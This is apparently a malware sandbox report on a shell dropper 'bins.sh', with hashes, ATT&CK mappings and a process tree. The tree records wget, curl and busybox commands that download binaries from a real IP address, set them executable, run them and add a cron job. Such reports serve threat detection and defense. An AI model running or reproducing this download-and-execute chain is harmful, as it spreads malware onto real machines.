9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-11-2024 08:56

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General

Target

bins.sh
Size

10KB
MD5

dc0ce8a1a92fcd65e74d86d4f034507f
SHA1

6c5ae4976fa6a4f05d607b9e9ada4f44288bea0a
SHA256

9b575416eef5a3be461806b57cc99efdf999c9f6f07c6367d6dfb214637e4607
SHA512

a920736e0bbea5c3db7143178398c9cb41e7f89962c0151dbdd8dbf6cda5c5f8c86d757abcde638eda555f1516b54ace20ec0380ff85e32d1616641ef53cd643
SSDEEP

192:mTXeYIJ7pJK7z3hrPwDHn08beSg7v727rPJy+MksWWeSkarPLrPZy+KksWAeS1r9:1ebOlR

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1976) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmod

pid process

792 chmod
798 chmod
686 chmod
698 chmod

pid	process
792	chmod
798	chmod
686	chmod
698	chmod

Executes dropped EXE 4 IoCs

Processes:

m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG48as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN

ioc	pid	process
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	687	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	699	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	793	8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	799	4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN

Renames itself 1 IoCs

Processes:

0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

pid process

700 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.Nz8F9n crontab
Enumerates running processes
Discovers information about currently running processes on the system
Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curlcurl

description ioc process

File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl

pid	process
700	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.Nz8F9n	crontab

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

description	ioc	process
File opened for reading	/proc/650/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/790/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/894/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/990/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1110/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/693/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/726/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/736/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/803/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1012/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/979/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1042/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1061/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/741/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/905/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/947/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/829/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/884/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/901/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1030/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1077/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1078/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/43/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/771/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/800/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/830/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/953/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1032/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1046/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/940/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1023/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/411/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/804/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/15/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/866/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/939/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1058/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1064/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/731/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/816/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/827/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/919/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1037/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/41/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/781/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/995/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/774/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/966/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/19/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/883/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/997/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1026/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1029/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1067/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1033/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1113/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/783/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/706/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/744/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/838/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1072/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/1097/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/724/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
File opened for reading	/proc/984/cmdline	0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxbusyboxbusyboxwgetcurl

description	ioc	process
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	busybox
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	wget
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	curl
File opened for modification	/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4	busybox
File opened for modification	/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs	busybox
File opened for modification	/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN	busybox
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	wget
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:658
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:661
- /usr/bin/wget
  wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:667
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:674
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Executes dropped EXE
  PID:687
- /bin/rm
  rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:690
- /usr/bin/wget
  wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Writes file to tmp directory
  PID:691
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:695
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod 777 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  ./0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:699
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:701
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:702
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:703
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:704
- /bin/rm
  rm 0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:709
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:710
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  ./8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm 8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs
  2⤵
  PID:794
- /usr/bin/wget
  wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:795
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:796
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  ./4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm 4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN
  2⤵
  PID:800
- /usr/bin/wget
  wget http://87.120.125.191/bins/hCTrg6qYjmivTVNga7bLfIKLG9n5cHjnH7
  2⤵
  PID:801

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/4YwU6NyJaGbKKHzGFHvqNuMwPWOMZB9RMN

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/8as9BCSUZ6kCWk7oQihJOoMYzmSMRLD0Bs

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.Nz8F9n

Filesize
210B

MD5
bf23dda81b7f402077466b91ac29be99

SHA1
dab0f0c66981590af012e8095cb5598e1bad3554

SHA256
58eb2babb1473b4d4a1372ca92702234d8e42016b4e12b9f4f6de95c1b04afe9

SHA512
a4a72aeb2defd87bae7aeb3901e1196b5a67836e011069edd059cb680803feadac05f88ef4d41dfda8981ced5819996c1b1889989ca1a7a2fb34d380d5f2a833

Download Submit